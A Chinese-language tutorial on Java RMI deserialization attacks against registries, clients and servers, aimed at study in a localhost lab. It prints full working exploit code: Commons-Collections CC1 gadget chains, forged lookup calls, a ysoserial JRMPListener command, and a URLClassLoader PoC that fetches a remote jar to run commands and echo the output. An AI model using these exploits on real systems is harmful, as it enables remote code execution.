RMI攻击方式
前面我们进行了RMI源码层面的分析,这里我们来讨论RMI的攻击方式
RMI攻击基本方式
根据源码层面分析,我们有以下几种基本攻击方式
攻击注册中心
不管是服务端或者客户端,与注册中心交互主要是下面这句话
1
| r.bind("remoteObj",remoteObj);
|
除了bind
方法,还有其他方式
以下方法位于RegistryImpl_Skel#dispatch
中,下面是交互方法和其与dispatch
的对应关系
- 0 —- bind
- 1 —- list
- 2 —- lookup
- 3 —- rebind
- 4 —- unbind
tips:除了list和lookup两者,剩下方法在8u121后,均需要在localhost调用
List鸡肋攻击
list
方法可以列出目标上绑定的所有对象
1 2 3 4 5 6
| public class RegistryListAttack { public static void main(String[] args) throws Exception { String[] list = Naming.list("rmi://localhost:1099"); System.out.println(list); } }
|
运行的时候,会将绑定对象的信息打印出来

从上面得知该方法对应case1,其代码如下
里面只存在着writeObject
方法,并没有反序列化的入口
1 2 3 4 5 6 7 8 9 10 11
| case 1: var2.releaseInputStream(); String[] var97 = var6.list();
try { ObjectOutput var98 = var2.getResultStream(true); var98.writeObject(var97); break; } catch (IOException var92) { throw new MarshalException("error marshalling return", var92); }
|
bind/rebind攻击
我们知道,这两者对应的case分别为0,3
其源码如下,两个方法中都是存在反序列化的,反序列化的东西均为 一个参数名和一个远程对象
这两者的均可以作为反序列化的入口类,若该服务端导入了CC的依赖,我们就可以利用这里的反序列化入口,进行CC链的反序列化攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| case 0: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var94) { throw new UnmarshalException("error unmarshalling arguments", var94); } catch (ClassNotFoundException var95) { throw new UnmarshalException("error unmarshalling arguments", var95); } finally { var2.releaseInputStream(); }
var6.bind(var7, var8);
try { var2.getResultStream(true); break; } catch (IOException var93) { throw new MarshalException("error marshalling return", var93); } case 3: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var85) { throw new UnmarshalException("error unmarshalling arguments", var85); } catch (ClassNotFoundException var86) { throw new UnmarshalException("error unmarshalling arguments", var86); } finally { var2.releaseInputStream(); }
var6.rebind(var7, var8);
try { var2.getResultStream(true); break; } catch (IOException var84) { throw new MarshalException("error marshalling return", var84); }
|
我这里在服务端导入3.2.1
版本的CC依赖,尝试去打它的CC1这条链子
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
远程对象在两者间传递时,是传递的Proxy
动态代理对象,而绑定时需要Remote
类型的对象
因此在绑定时,我们需要一个实现 Remote
接口的动态代理对象
这里有一个newProxyInstance
方法,可以创建动态代理,需要InvocationHandler
示例,所有我们需要将恶意类转为InvocationHandler
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| @CallerSensitive public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException { ...... try { if (sm != null) { checkNewProxyPermission(Reflection.getCallerClass(), cl); }
final Constructor<?> cons = cl.getConstructor(constructorParams); final InvocationHandler ih = h; if (!Modifier.isPublic(cl.getModifiers())) { AccessController.doPrivileged(new PrivilegedAction<Void>() { public Void run() { cons.setAccessible(true); return null; } }); } return cons.newInstance(new Object[]{h}); } ...... }
|
下面就是我们的封装代码
1 2 3 4
| InvocationHandler handler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class[] { Remote.class }, handler)); registry.bind("test",remote);
|
EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class AttackRegistryEXP { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); InvocationHandler handler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class[] { Remote.class }, handler)); registry.bind("test",remote); } public static Object CC1() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","drunkbaby"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class, transformedMap); return o; } }
|
rebind
攻击和bind
攻击一样,只需要将bind
替换为rebind
1
| registry.bind("test",remote);
|
unbind/lookup攻击
根据前面的对应信息,我们找到两者对应的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| case 2: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var89) { throw new UnmarshalException("error unmarshalling arguments", var89); } catch (ClassNotFoundException var90) { throw new UnmarshalException("error unmarshalling arguments", var90); } finally { var2.releaseInputStream(); }
var8 = var6.lookup(var7);
try { ObjectOutput var9 = var2.getResultStream(true); var9.writeObject(var8); break; } catch (IOException var88) { throw new MarshalException("error marshalling return", var88); }
case 4: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var81) { throw new UnmarshalException("error unmarshalling arguments", var81); } catch (ClassNotFoundException var82) { throw new UnmarshalException("error unmarshalling arguments", var82); } finally { var2.releaseInputStream(); }
var6.unbind(var7);
try { var2.getResultStream(true); break; } catch (IOException var80) { throw new MarshalException("error marshalling return", var80); }
|
unbind
和lookup
的攻击手法是一样的,我们这里用lookup
来分析
实际上这两者的攻击思路和bind/rebind
是相类似的,但是lookup
这里只能传入String
字符串,我们可以通过伪造lookup
连接请求利用,修改lookup
方法,使其可以传入对象
我们想要修改lookup
方法,就要知道它的内部原理
其实我们从try–catch结构来看,就知道哪里是重要代码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { try { RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var18) { throw new MarshalException("error marshalling arguments", var18); }
super.ref.invoke(var2);
Remote var23; try { ObjectInput var6 = var2.getInputStream(); var23 = (Remote)var6.readObject(); } catch (IOException var15) { throw new UnmarshalException("error unmarshalling return", var15); } catch (ClassNotFoundException var16) { throw new UnmarshalException("error unmarshalling return", var16); } finally { super.ref.done(var2); }
return var23; }...... }
|
重要的代码有以下几条,这里我们重点看传输部分
1 2 3 4 5 6 7 8 9
| RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); super.ref.invoke(var2);
ObjectInput var6 = var2.getInputStream(); var23 = (Remote)var6.readObject();
|
我们这里只需要想办法去获取newCall
中的super.ref和operations,就能去伪造一个lookup
请求
别的师傅通过反射来获取operations
,我找到operations
赋值地方,我这里直接用这个赋值
1
| private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
|
通过调试,我找到了super.ref的地方(比较笨,只能通过调试来)
registry中的第一个属性

通过反射获取Field
数组,从中找到UnicastRef
1 2 3
| Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
|
EXP如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); InvocationHandler handler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(remote); ref.invoke(var2); } public static Object CC1() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","drunkbaby"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class, transformedMap); return o; }
|

攻击客户端
我们之前分析过,在客户端中,在unmarshalValue()
方法中,存在着入口
注册中心攻击客户端
对于注册中心看,我们还是上面说的那几种方式触发
除了unbind
和rebind
方法,都会返回数据给客户端,当序列化数据到了客户端时就会反序列化,我们需要控制注册中心返回的数据,就可以实现对客户端的攻击
我们使用ysoserial的JRMPListener,命令如下
1
| java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'
|
然后使用客户端访问
1 2 3 4
| public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); registry.list(); }
|

服务端攻击客户端
服务端攻击客户端,通过 服务端返回Object对象 来攻击
传递回来不一定是基础数据类型(String,int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要进行对应的反序列化操作。
我们需要伪造一个服务器,当客户端调用某个远程方法时,返回的参数是我们的恶意对象
服务端接口类
1 2 3
| public interface IRemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; }
|
服务端接口实现类,返回CC1Object
对象(这里不是很懂,对handler的封装是怎么个事)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public RemoteObjImpl() throws RemoteException {
}
public Object sayHello() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
return (Object) handler;
} }
|
服务端创建注册中心并绑定
1 2 3 4 5
| public static void main(String[] args) throws Exception{ RemoteObjImpl remoteObj = new RemoteObjImpl(); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("remoteObj",remoteObj); }
|
用服务器对客户端进行远程方法的调用
1 2 3 4 5 6 7 8
| public class RMIClient implements Serializable {
public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj"); remoteObj.sayHello(); } }
|

攻击服务端
客户端攻击服务端
- jdk 1.7
- CC3.2.1依赖
- RMI提供的数据类型有Object类型
服务端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import java.rmi.Naming; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.server.UnicastRemoteObject; public class VictimServer { public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj { protected RemoteHelloWorld() throws RemoteException { super(); } public String hello() throws RemoteException { System.out.println("调用了hello方法"); return "Hello world"; } public void evil(Object obj) throws RemoteException { System.out.println("调用了evil方法,传递对象为:"+obj); } @Override public String sayHello(String keywords) throws RemoteException { return null; } } private void start() throws Exception { RemoteHelloWorld h = new RemoteHelloWorld(); LocateRegistry.createRegistry(1099); Naming.rebind("rmi://127.0.0.1:1099/Hello", h); } public static void main(String[] args) throws Exception { new VictimServer().start(); } }
|
客户端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import Server.IRemoteHelloWorld; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.rmi.Naming; import java.util.HashMap; import java.util.Map; import Server.IRemoteHelloWorld; public class RMIClient { public static void main(String[] args) throws Exception { IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello"); r.evil(getpayload()); } public static Object getpayload() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "lala"); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); return instance; } }
|
应该是传输Object对象过程中,需要反序列化导致的攻击吧
RMI进阶攻击方式
URLClassLoader实现回显攻击
攻击注册中心时,注册中心遇到异常时,会直接把异常发回来,这里我们利用URLClassLoader远程加载jar/class文件,传入服务端,反序列化调用其任意方法,在方法内抛出错误,错误返回客户端
远程Dome
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class ErrorBaseExec { public static void doExec(String args) throws Exception { Process exec = Runtime.getRuntime().exec(args); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream())); StringBuffer stringBuffer = new StringBuffer(); String line; while((line = bufferedReader.readLine()) != null) { stringBuffer.append(line).append("\n"); } String result = stringBuffer.toString(); Exception e = new Exception(result); throw e; } }
|
制作jar包命令如下
1 2
| javac ErrorBaseExec.java jar -cvf RMIexploit.jar ErrorBaseExec.class
|
客户端Poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.net.URLClassLoader; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class Client { public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } public static void main(String[] args) throws Exception { String ip = "127.0.0.1"; int port = 1099; String remotejar = 远程jar; String command = "whoami"; final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; try { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) } } }), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "ErrorBaseExec" }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Class cl = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); Registry registry = LocateRegistry.getRegistry(ip, port); InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS) .newInstance(Target.class, outerMap); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, h)); registry.bind("liming", r); } catch (Exception e) { try { System.out.print(e.getCause().getCause().getCause().getMessage()); } catch (Exception ee) { throw e; } } } }
|
